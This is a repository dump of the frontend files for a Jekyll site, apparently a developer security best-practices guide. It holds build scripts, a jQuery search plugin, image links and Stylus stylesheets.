--------------------------------------------------------------------------------
/pages/search.json:
--------------------------------------------------------------------------------
1 | ---
2 | permalink: search.json
3 | ---
4 | [
5 | {% for post in site.practices %}
6 | {
7 | "title" : "{{ post.title | escape }}",
8 | "category" : "{{ post.categories }}",
9 | "tags" : "{{ post.tags | array_to_sentence_string }}",
10 | "url" : "{{ site.baseurl }}{{ post.url }}",
11 | "language" : "{{ post.language }}"
12 | } {% unless forloop.last %},{% endunless %}
13 | {% endfor %}
14 | ]
15 |
--------------------------------------------------------------------------------
/script/bootstrap:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | set -e
4 |
5 | gem install bundler
6 | bundle install
7 |
--------------------------------------------------------------------------------
/script/build:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | set -e
4 |
5 | echo "Buidling the example site..."
6 | bundle exec jekyll build --source example
7 |
--------------------------------------------------------------------------------
/script/cibuild:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | set -e
4 |
5 | script/build
6 |
7 | if test -e "./_site/index.html";then
8 | echo "It builds!"
9 | rm -Rf _site
10 | exit 0
11 | else
12 | echo "Huh. That's odd. The example site doesn't seem to build."
13 | exit 1
14 | fi
15 |
--------------------------------------------------------------------------------
/src/img/blog-author.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/blog-author.jpg
--------------------------------------------------------------------------------
/src/img/blog-image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/blog-image.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon-114x114.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-114x114.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon-120x120.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-120x120.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon-144x144.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-144x144.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon-152x152.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-152x152.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon-57x57.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-57x57.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon-60x60.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-60x60.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon-72x72.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-72x72.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon-76x76.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-76x76.png
--------------------------------------------------------------------------------
/src/img/icons/apple-touch-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon.png
--------------------------------------------------------------------------------
/src/img/icons/favicon-16x16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/favicon-16x16.png
--------------------------------------------------------------------------------
/src/img/icons/favicon-32x32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/favicon-32x32.png
--------------------------------------------------------------------------------
/src/img/icons/favicon-64x64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/favicon-64x64.png
--------------------------------------------------------------------------------
/src/img/icons/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/favicon.ico
--------------------------------------------------------------------------------
/src/img/icons/largetile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/largetile.png
--------------------------------------------------------------------------------
/src/img/icons/mediumtile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/mediumtile.png
--------------------------------------------------------------------------------
/src/img/icons/smalltile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/smalltile.png
--------------------------------------------------------------------------------
/src/img/icons/widetile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/widetile.png
--------------------------------------------------------------------------------
/src/img/logo-cc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-cc.png
--------------------------------------------------------------------------------
/src/img/logo-cc.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/img/logo-cc2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-cc2x.png
--------------------------------------------------------------------------------
/src/img/logo-cc3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-cc3x.png
--------------------------------------------------------------------------------
/src/img/logo-codoms.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-codoms.png
--------------------------------------------------------------------------------
/src/img/logo-codoms.svg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/src/img/logo-codoms2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-codoms2x.png
--------------------------------------------------------------------------------
/src/img/logo-codoms3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-codoms3x.png
--------------------------------------------------------------------------------
/src/js/simpleJekyllSearch.js:
--------------------------------------------------------------------------------
1 | (function($) {
2 | $.fn.simpleJekyllSearch = function(options) {
3 | var settings = $.extend({
4 | jsonFile : '/search.json',
5 | jsonFormat : 'title,category,desc,url,language',
6 | template : ' {title}',
7 | searchResults : '.search-results',
8 | searchResultsTitle : 'Search Results:
',
9 | limit : '5',
10 | noResults : 'Oh snap!
Nothing found! =(
'
11 | }, options);
12 |
13 | var properties = settings.jsonFormat.split(',');
14 |
15 | var jsonData = [],
16 | origThis = this,
17 | searchResults = $(settings.searchResults);
18 |
19 | if(settings.jsonFile.length && searchResults.length){
20 | $.ajax({
21 | type: "GET",
22 | url: settings.jsonFile,
23 | dataType: 'json',
24 | success: function(data, textStatus, jqXHR) {
25 | jsonData = data;
26 | registerEvent();
27 | },
28 | error: function(x,y,z) {
29 | console.log("***ERROR in simpleJekyllSearch.js***");
30 | console.log(x);
31 | console.log(y);
32 | console.log(z);
33 | // x.responseText should have what's wrong
34 | }
35 | });
36 | }
37 |
38 |
39 | function registerEvent(){
40 | origThis.keyup(function(e){
41 | if($(this).val().length){
42 | writeMatches( performSearch($(this).val()) );
43 | }else{
44 | clearSearchResults();
45 | }
46 | });
47 | }
48 |
49 | function performSearch(str){
50 | var matches = [];
51 |
52 | $.each(jsonData,function(i,entry){
53 | for(var i=0;i"
40 | font-size rem(20px)
41 | color black
42 | position absolute
43 | left -10px
44 | transition all .2s
45 | &:hover
46 | &:before
47 | transform translateX(-10px)
48 |
--------------------------------------------------------------------------------
/src/styl/_footer.styl:
--------------------------------------------------------------------------------
1 | .comments
2 | center(rem(800px))
3 | padding 0 rem(20px)
4 | h3
5 | margin 0 0 rem(30px)
6 | font-size rem(30px)
7 |
8 | footer
9 | background neotree
10 | padding rem(25px) 0
11 | margin-top 100px
12 | clear both
13 | color sec
14 | p,a
15 | mainFont(300)
16 | color sec
17 | text-align center
18 | margin 0
19 |
20 |
--------------------------------------------------------------------------------
/src/styl/_header.styl:
--------------------------------------------------------------------------------
1 | html,
2 | body
3 | height 100%
4 | font-family sans-serif
5 | color gray
6 |
7 |
8 | $bg
9 | background main
10 | height 100%
11 |
12 | // Header home
13 | main
14 | @extends $bg
15 | margin-left rem(400px)
16 | background-color white
17 | padding-top rem(20px)
18 | padding-left rem(40px)
19 |
20 | .content
21 | padding: 20px
22 |
23 | li
24 | margin 0
25 | list-style-type none
26 | .person
27 | img
28 | size(130, 130)
29 | border-radius 100%
30 | margin-bottom 80px
31 | ul.recent
32 | padding-left 0
33 |
34 | h2
35 | color accent_color
36 | font-weight bold
37 | text-transform uppercase
38 | font-size rem(16px)
39 | margin-bottom rem(30px)
40 |
41 | li
42 | a
43 | text-decoration none
44 | color gray
45 | &:hover
46 | h4
47 | color accent_color
48 | letter-spacing rem(0.5px)
49 | h4
50 | font-weight normal
51 | i
52 | margin-right rem(10px)
53 |
54 | // h1,h2,h3,p,a
55 | // color: sec
56 | .site-title
57 | font-size rem(30px)
58 | line-height 1
59 | margin-top -80px
60 | display block
61 | letter-spacing 9px
62 | +above(cut)
63 | letter-spacing 16px
64 | margin-bottom 0
65 | font-size rem(20px)
66 | .site-description
67 | font-size rem(20px)
68 | display block
69 | margin rem(30px) 0
70 | +above(cut)
71 | font-size rem(40px)
72 |
73 | h3.heroe
74 | color heroe_fg
75 | max-width rem(600px)
76 | font-size rem(30px)
77 | font-weight 300
78 | margin-bottom rem(60px)
79 |
80 | .rectangle
81 | display block
82 | width 207px
83 | border-radius 5px
84 | align(h)
85 | background-color #74479c
86 | text-align center
87 | color #ffffff
88 | font-weight bold
89 |
90 | // Header Post
91 | .header-post
92 | @extends $bg
93 | height 62px
94 | background transparent
95 | #open
96 | position fixed
97 | background transparent
98 | p
99 | margin 0
100 | padding-top 23px
101 | text-align center
102 | color sec
103 |
--------------------------------------------------------------------------------
/src/styl/_hightlight.styl:
--------------------------------------------------------------------------------
1 | pre
2 | width 100%
3 | padding rem(20px) 0
4 | color sec
5 | margin rem(30px) 0
6 | font-size rem(14px)
7 | +above(cut)
8 | font-size rem(16px)
9 | padding rem(20px) 0
10 | margin rem(20px) 0
11 | code
12 | +below(cut)
13 | overflow-x: scroll;
14 | span
15 | line-height 1.5rem
16 | font-family 'Monaco','Consolas','Menlo',monospace
17 |
18 | /*
19 | Darkly Pygments Theme
20 | (c) 2014 Sourcey
21 | http://sourcey.com
22 | */
23 |
24 | .highlight {
25 | white-space: pre;
26 | overflow: auto;
27 | word-wrap: normal; /* horizontal scrolling */
28 | -moz-border-radius: 3px;
29 | -webkit-border-radius: 3px;
30 | border-radius: 0px;
31 | padding: 20px;
32 | background-color blackBase;
33 | color: #C1C2C3;
34 | margin 0;
35 | margin-bottom: 30px;
36 | }
37 | .highlight .hll { background-color: #ffc; }
38 | .highlight .gd { color: #2e3436; background-color: #0e1416; }
39 | .highlight .gr { color: #eeeeec; background-color: #c00; }
40 | .highlight .gi { color: #babdb6; background-color: #1f2b2d; }
41 | .highlight .go { color: #2c3032; background-color: #2c3032; }
42 | .highlight .kt { color: #e3e7df; }
43 | .highlight .ni { color: #888a85; }
44 | .highlight .c,.highlight .cm,.highlight .c1,.highlight .cs { color: #8D9684; }
45 | .highlight .err,.highlight .g,.highlight .l,.highlight .n,.highlight .x,.highlight .p,.highlight .ge,
46 | .highlight .gp,.highlight .gs,.highlight .gt,.highlight .ld,.highlight .s,.highlight .nc,.highlight .nd,
47 | .highlight .ne,.highlight .nl,.highlight .nn,.highlight .nx,.highlight .py,.highlight .ow,.highlight .w,.highlight .sb,
48 | .highlight .sc,.highlight .sd,.highlight .s2,.highlight .se,.highlight .sh,.highlight .si,.highlight .sx,.highlight .sr,
49 | .highlight .s1,.highlight .ss,.highlight .bp { color: #C1C2C3; }
50 | .highlight .k,.highlight .kc,.highlight .kd,.highlight .kn,.highlight .kp,.highlight .kr,
51 | .highlight .nt { color: #729fcf; }
52 | .highlight .cp,.highlight .gh,.highlight .gu,.highlight .na,.highlight .nf { color: #E9A94B ; }
53 | .highlight .m,.highlight .nb,.highlight .no,.highlight .mf,.highlight .mh,.highlight .mi,.highlight .mo,
54 | .highlight .il { color: #8ae234; }
55 | .highlight .o { color: #989DAA; }
56 | .highlight .nv,.highlight .vc,.highlight .vg,.highlight .vi { color: #fff; }
57 |
--------------------------------------------------------------------------------
/src/styl/_icons.styl:
--------------------------------------------------------------------------------
1 | size(width = 30, height = 30)
2 | width width px
3 | height height px
4 |
5 | .icons-home
6 | text-align center
7 | a
8 | display inline-block
9 | padding rem(15px)
10 | margin rem(2px)
11 | border-radius 50%
12 | border rem(2px) solid sec
13 | line-height 0
14 | transition all .7s
15 | .icon
16 | fill sec
17 | size(18,18)
18 | +above(cut)
19 | size()
20 | &:hover
21 | background sec
22 | .icon
23 | fill main
24 |
25 | .down
26 | position absolute
27 | bottom 50px
28 | width 100%
29 | display block
30 | text-align center
31 | .icon
32 | align(both)
33 | size(100,100)
34 | fill sec
35 | animation pulse 1.3s infinite
36 | .icon-arrow-menu
37 | vertical-align bottom
38 | size(18,15)
39 |
--------------------------------------------------------------------------------
/src/styl/_menu.styl:
--------------------------------------------------------------------------------
1 | *, *:before, *:after
2 | -moz-box-sizing border-box
3 | -webkit-box-sizing border-box
4 | box-sizing border-box
5 |
6 | body
7 | left 0
8 | right 0
9 | margin auto
10 |
11 | a, aside, .overlay, body
12 | transition all .25s ease
13 | a.slideButton, .dosearch
14 | position absolute
15 | display block
16 | width 40px
17 | height 40px
18 | top 10px
19 | z-index 31
20 | .slideButton
21 | left 10px
22 | .dosearch
23 | right 10px
24 | background accent_color
25 | border-radius rem(3px)
26 | padding rem(2px) rem(3px)
27 | .icon-menu
28 | cursor pointer
29 | padding rem(5px)
30 | border-radius rem(3px)
31 | background accent_color
32 | width rem(40px)
33 | height rem(40px)
34 | fill sec
35 | .icon-search
36 | width rem(35px)
37 | height rem(35px)
38 |
39 | .overlay
40 | cursor pointer
41 |
42 | #close
43 | display none
44 |
45 | body > aside
46 | padding rem(43px)
47 | width rem(347px)
48 | height 100%
49 | position fixed
50 | background-color aside_color
51 | overflow-y auto
52 | top 0
53 |
54 | a
55 | text-decoration none
56 |
57 | h1
58 | text-transform uppercase
59 | font-size rem(26px)
60 | display table
61 |
62 | & > *
63 | display table-cell
64 | vertical-align middle
65 |
66 | & > object
67 | margin-right rem(10px)
68 |
69 | p.license
70 | position fixed
71 | bottom rem(40px)
72 | color lightGray
73 | width rem(200px)
74 |
75 | .creativecommons
76 | display block
77 | margin-bottom rem(20px)
78 | i.fa-heart
79 | color: #ee7373
80 |
81 | a
82 | color lightGray
83 | text-decoration none
84 | &:hover
85 | color accent_color
86 |
87 | ul.languages
88 | list-style none
89 | margin-left 0
90 | padding-left 0
91 | margin-top rem(40px)
92 |
93 | h2
94 | color #9a9a9a
95 | font-size rem(14px)
96 | text-transform uppercase
97 | font-weight bold
98 |
99 | li
100 | line-height rem(30px)
101 | a
102 | text-decoration none
103 | color lightGray
104 | &.selected
105 | color gray
106 |
107 | li.contribute
108 | margin-top rem(10px)
109 | a
110 | color accent_color
111 |
112 | a.slideButton.slide
113 | pointer-events none
114 |
115 | .overlay
116 | position fixed
117 | width 100%
118 | height 100%
119 | bottom 0
120 | left 0
121 | pointer-events none
122 | background transparent
123 | z-index 30
124 | &.slide
125 | pointer-events auto
126 | bottom 162px
127 | background rgba(0,0,0,.6)
128 |
--------------------------------------------------------------------------------
/src/styl/_page.styl:
--------------------------------------------------------------------------------
1 | .page
2 |
3 | margin-left rem(400px)
4 |
5 | +above(rem(1450px))
6 | margin-left: rem(427px)
7 | max-width: rem(780px)
8 |
9 | margin-right: rem(30px)
10 |
11 | h1, h2, h3
12 | &:before
13 | color main
14 | font-weight 300
15 | margin-right 10px
16 | h1
17 | margin 0
18 | font-size rem(30px)
19 | +above(cut)
20 | font-size rem(70px)
21 | &:before
22 | color main
23 | font-size rem(40px)
24 | .page-title
25 | text-align center
26 |
27 | &:before
28 | content ""
29 |
30 | margin-bottom: rem(20px)
31 |
32 | .time
33 | text-align center
34 | margin-top 30px
35 | mainFont(300)
36 | .music-read
37 | text-align center
38 | .page-content
39 | padding rem(16px) 0
40 | img
41 | max-width 100%
42 | margin rem(30px) auto
43 | display block
44 | p, h1, h2, h3, h4,ul,ol, .tags, iframe
45 | max-width rem(1200px)
46 | padding 0 rem(20px)
47 | margin 0 auto rem(30px)
48 | mainFont(300)
49 | font-size rem(18px)
50 | line-height 2
51 | letter-spacing 0.01rem
52 | +above(cut)
53 | font-size rem(20px)
54 |
55 | h1,h2,h3,h4,h5
56 | mainFont(800)
57 | h1
58 | font-size rem(30px)
59 | line-height 1.4
60 | font-weight normal
61 | color accent_color
62 |
63 | h2
64 | font-size rem(26px)
65 | line-height 1.4
66 | font-weight bold
67 |
68 | h3
69 | font-size rem(24px)
70 | line-height 1.4
71 |
72 | p,li
73 | color texts
74 | code
75 | color colorcode
76 | a
77 | mainFont(300)
78 | color main
79 | text-decoration none
80 | border-bottom 2px solid main
81 | &:hover
82 | background-color mainHover
83 | iframe
84 | margin-top rem(30px)
85 | width 100%
86 | #twitter-widget-0
87 | margin auto !important
88 | h1,h2,h3,h4,h5
89 | mainFont(800)
90 | h1
91 | font-size rem(30px)
92 | line-height 1.4
93 | +above(cut)
94 | font-size rem(45px)
95 | h2
96 | font-size rem(22px)
97 | line-height 1.4
98 | &:before
99 | content '##'
100 | font-size rem(25px)
101 | +above(cut)
102 | font-size rem(35px)
103 | h3
104 | font-size rem(18px)
105 | line-height 1.4
106 | +above(cut)
107 | font-size rem(25px)
108 | ul,ol
109 | padding-left rem(40px)
110 | ul.page-list
111 | padding 0
112 | +below(cut)
113 | padding 0 rem(20px)
114 | blockquote
115 | center(rem(730px))
116 | border-left rem(5px) solid main
117 | padding 0 rem(30px)
118 | margin rem(50px) auto
119 | +below(cut)
120 | width 70%
121 | p
122 | color rgba(0,0,0,0.6)
123 | margin 0
124 | +below(cut)
125 | font-size rem(18px)
126 | line-height 1.5
127 | padding 0
128 | hr
129 | center(rem(760px))
130 | border 1px solid lightGray
131 | margin 50px auto
132 | .about_perfil
133 | width 200px
134 |
135 | pre
136 | padding rem(20px)
137 |
138 | .asciicast
139 | padding rem(20px) !important
140 |
--------------------------------------------------------------------------------
/src/styl/_post.styl:
--------------------------------------------------------------------------------
1 | .post
2 |
3 | margin-left rem(400px)
4 |
5 | +above(rem(1450px))
6 | margin-left: rem(427px)
7 | max-width: rem(780px)
8 |
9 | margin-right: rem(30px)
10 |
11 | .post-title
12 | font-size rem(30px)
13 | margin-top 0
14 | margin-bottom 0
15 |
16 | .time
17 | text-align center
18 | margin-top 30px
19 | mainFont(300)
20 | .music-read
21 | text-align center
22 | .post-content
23 | padding rem(30px) 0
24 | img
25 | max-width 100%
26 | margin rem(30px) auto
27 | display block
28 | p, h1, h2, h3, h4,ul,ol, .tags, iframe
29 | max-width rem(1200px)
30 | padding 0
31 | margin 0 auto rem(30px)
32 | mainFont(300)
33 | font-size rem(18px)
34 | line-height 2
35 | letter-spacing 0.01rem
36 | +above(cut)
37 | font-size rem(20px)
38 |
39 | p,li
40 | color texts
41 | code
42 | color colorcode
43 | a
44 | mainFont(300)
45 | color main
46 | text-decoration none
47 | border-bottom 2px solid main
48 | &:hover
49 | color accent_color
50 | border-bottom-color accent_color
51 | iframe
52 | margin-top rem(30px)
53 | width 100%
54 | #twitter-widget-0
55 | margin auto !important
56 | h1,h2,h3,h4,h5
57 | mainFont(800)
58 | h1
59 | font-size rem(30px)
60 | line-height 1.4
61 | font-weight normal
62 | color accent_color
63 | margin-top rem(60px)
64 |
65 | h2
66 | font-size rem(26px)
67 | line-height 1.4
68 | font-weight bold
69 |
70 | h3
71 | font-size rem(24px)
72 | line-height 1.4
73 |
74 | ul,ol
75 | padding-left rem(40px)
76 | ul.post-list
77 | padding 0
78 | +below(cut)
79 | padding 0 rem(20px)
80 | blockquote
81 | border-left rem(5px) solid main
82 | padding 0 rem(20px)
83 | margin rem(50px) rem(20px)
84 | p
85 | color rgba(0,0,0,0.6)
86 | margin 0
87 | +below(cut)
88 | font-size rem(18px)
89 | line-height 1.5
90 | padding 0
91 | hr
92 | center(rem(760px))
93 | border 1px solid lightGray
94 | margin 50px auto
95 | .about_perfil
96 | width 200px
97 |
98 | pre
99 | padding rem(20px)
100 | .highlighter-rouge
101 | margin-bottom rem(30px)
102 | .asciicast
103 | padding 0 rem(20px) !important
104 | margin 0 auto rem(30px) !important
105 |
106 | iframe
107 | padding 0 rem(20px) !important
108 | margin 0 auto rem(30px) !important
109 | .share
110 | border-top 1px solid lightGray
111 | padding-top rem(20px)
112 | width 100%
113 | margin-bottom rem(50px)
114 |
115 | & > div
116 | display table
117 |
118 | & > *
119 | display table-cell
120 | vertical-align middle
121 |
122 | h3
123 | color #9a9a9a
124 | font-size rem(20px)
125 | text-transform uppercase
126 | font-weight normal
127 | padding-right rem(20px)
128 | svg
129 | margin rem(15px)
130 | size(35,35)
131 | a
132 | text-decoration none
133 | &:hover svg
134 | fill main
135 |
136 |
137 | table
138 | margin rem(50px) auto
139 | +below(cut)
140 | display none
141 | th, td
142 | border rem(2px) solid #ccc
143 | padding rem(5px)
144 |
145 | .tag-title
146 | mainFont(300)
147 | font-size rem(36px)
148 | margin-top rem(60px)
149 | center(rem(800px))
150 | +below(cut)
151 | font-size rem(28px)
152 | margin-top rem(20px)
153 | padding 0 rem(20px)
154 |
155 | .post-list
156 | list-style none
157 | margin rem(25px) auto
158 | +below(cut)
159 | padding 0 rem(20px)
160 | a
161 | display block
162 | border-bottom 1px solid darken(lightGray,10%)
163 | padding rem(10px) 0
164 | text-decoration none
165 | transition all .5s
166 | &:hover
167 | color hover
168 | border-bottom 1px solid hover
169 | .entry-date
170 | float right
171 | +below(cut)
172 | display none
173 |
--------------------------------------------------------------------------------
/src/styl/_postlist.styl:
--------------------------------------------------------------------------------
1 | .page_posts
2 | #search
3 | background transparent
4 | svg
5 | background-color transparent
6 | .post-item
7 | text-align left
8 | padding rem(5px) rem(20px)
9 | position relative
10 | .content
11 | cf();
12 | +below(cut)
13 | text-align center
14 | stack()
15 | a
16 | +above(cut)
17 | col(4.2/6)
18 | text-decoration none
19 | border none
20 | .date
21 | color main
22 | .post-title
23 | color #c7b288
24 | position relative
25 | padding 0
26 | font-size rem(16px)
27 | margin 0
28 | text-align center
29 | &.selected
30 | background main
31 | &:hover
32 | background-color mainHover
33 | +above(cut)
34 | text-align left
35 | margin-left rem(-10px)
36 | display initial
37 | font-size rem(17px)
38 | text-decoration none
39 |
--------------------------------------------------------------------------------
/src/styl/_search.styl:
--------------------------------------------------------------------------------
1 | /*--search--*/
2 | input[type="search"]
3 | -webkit-box-sizing content-box
4 | -moz-box-sizing content-box
5 | -ms-box-sizing content-box
6 | box-sizing content-box
7 | -webkit-appearance textfield
8 |
9 | input[type="search"]::-webkit-search-decoration,
10 | input[type="search"]::-webkit-search-cancel-button
11 | -webkit-appearance none
12 |
13 | .search-wrapper
14 | transform translateY(-400px)
15 | z-index 9999
16 | &.active
17 | transform translateY(0)
18 |
19 | .search-form
20 | position relative
21 | top 0
22 | transform translateX(-200px)
23 | z-index 9999
24 | width 100%
25 | opacity 0
26 | transition all 200ms 100ms cubic-bezier(0,0.6,0.4,1)
27 | h4
28 | margin rem(10px) 0
29 | .search-field
30 | width 100%
31 | mainFont(300)
32 | font-size rem(26px)
33 | color #fff
34 | background-color transparent
35 | border 0
36 | border-bottom 1px solid #fff
37 | border-radius 0
38 | box-shadow none
39 | background-clip padding-box
40 | -webkit-appearance none
41 | &:focus
42 | outline 0
43 | box-shadow none
44 | &.active
45 | top 0
46 | transform translateX(0)
47 | opacity 1
48 | &.hidden
49 | display none
50 | .icon-remove-sign
51 | position absolute
52 | top 0
53 | right 0
54 | z-index 1
55 | display block
56 | fill sec
57 | width 30px
58 | height 30px
59 | text-align center
60 | cursor pointer
61 | &::-webkit-input-placeholder
62 | font-size rem(26px)
63 |
64 |
65 | .search-form .search-field::-webkit-search-decoration,
66 | .search-form .search-field::-webkit-search-cancel-button,
67 | .search-form .search-field::-webkit-search-results-button,
68 | .search-form .search-field::-webkit-search-results-decoration
69 | display none
70 |
71 | .search-form
72 | .search-list
73 | position absolute
74 | width 100%
75 | mainFont(300)
76 | h4, li, p, a, a:hover
77 | color sec
78 |
79 | body
80 | &.search-overlay
81 | overflow hidden
82 | &:after
83 | position absolute
84 | top 0
85 | left 0
86 | z-index 9001
87 | width 100%
88 | height 100%
89 | min-height 100%
90 | background-color rgba(0,0,0,0.6)
91 | content ''
92 | +below(cut)
93 | background-color main
94 |
95 |
96 | .search-wrapper
97 | position absolute
98 | top 50px
99 | width 100%
100 | padding-right 10%
101 | padding-left 10%
102 | *zoom 1
103 | &:after, &:before
104 | display table
105 | line-height 0
106 | content ""
107 | &:after
108 | clear both
109 |
110 | .search-wrapper:before,
111 | .search-wrapper:after
112 | display table
113 | line-height 0
114 | content ""
115 |
116 | .search-list
117 | padding 0
118 | margin 0
119 | list-style-type none
120 | .entry-date
121 | float right
122 | display none
123 | font-size 14px
124 | text-transform uppercase
125 | a
126 | text-decoration none
127 | display block
128 | padding rem(15px) 0
129 | width 100%
130 | border-bottom 1px solid sec
131 | &:hover
132 | color darken(sec, 30%)
133 | border-bottom 1px solid darken(sec, 30%)
134 |
135 | +above(48em)
136 | .search-wrapper
137 | top 100px
138 | .search-list .entry-date
139 | display inline
140 |
--------------------------------------------------------------------------------
/src/styl/_typo.styl:
--------------------------------------------------------------------------------
1 | a
2 | -webkit-tap-highlight-color: rgba(0,0,0,0);
3 |
4 | @font-face {
5 | font-family: 'Open Sans';
6 | font-style: normal;
7 | font-weight: 300;
8 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v10/DXI1ORHCpsQm3Vp6mXoaTRampu5_7CjHW5spxoeN3Vs.woff2) format('woff2');
9 | }
10 |
11 | @font-face {
12 | font-family: 'Open Sans';
13 | font-style: normal;
14 | font-weight: 800;
15 | src: local('Open Sans Extrabold'), local('OpenSans-Extrabold'), url(https://fonts.gstatic.com/s/opensans/v10/EInbV5DfGHOiMmvb1Xr-hiYtBUPDK3WL7KRKS_3q7OE.woff2) format('woff2');
16 | }
17 |
18 | mainFont(weight = 800)
19 | font-family 'Open Sans', sans-serif
20 | font-weight weight
21 | font-style normal
22 |
23 | h1,h2,h3,h4
24 | mainFont()
--------------------------------------------------------------------------------
/src/styl/_variables.styl:
--------------------------------------------------------------------------------
1 | // COLORS
2 | main = #93a1a1;
3 | mainHover = lighten(main, 10%)
4 | hover = darken(main, 50%)
5 | mainLight = #AB67AB
6 | sec = #FFFFFF
7 | texts = #333333
8 | colorcode = #615576
9 | blackBase = #073642
10 | neotree = #073642
11 |
12 | aside_color = #f8f8f8
13 | white = #ffffff
14 | gray = #333333
15 | lightGray = #ababab
16 |
17 | heroe_fg = #777088
18 | accent_color = #74479c
19 | // Resolution
20 | cut = 37.5rem
21 |
--------------------------------------------------------------------------------
/src/styl/jeet/_functions.styl:
--------------------------------------------------------------------------------
1 | /**
2 | * Get percentage from a given ratio.
3 | * @param {number} [ratio=1] - The column ratio of the element.
4 | * @returns {number} - The percentage value.
5 | */
6 | jeet-get-span(ratio = 1)
7 | return ratio * 100
8 |
9 | /**
10 | * Work out the column widths based on the ratio and gutter sizes.
11 | * @param {number} [ratios=1] - The column ratio of the element.
12 | * @param {number} [gutter=jeet.gutter] - The gutter for the column.
13 | * @returns {list} width gutter - A list containing the with and gutter for the element.
14 | */
15 | jeet-get-column(ratios = 1, gutter = jeet.gutter)
16 | ratios = jeet-reverse(ratios) unless jeet.parent-first is true
17 | width = 100
18 |
19 | for ratio in ratios
20 | gutter = gutter / width * 100
21 | width = 100 * ratio - gutter + ratio * gutter
22 |
23 | return width gutter
24 |
25 | /**
26 | * Get the set layout direction for the project.
27 | * @returns {string} result - The layout direction.
28 | */
29 | jeet-get-layout-direction()
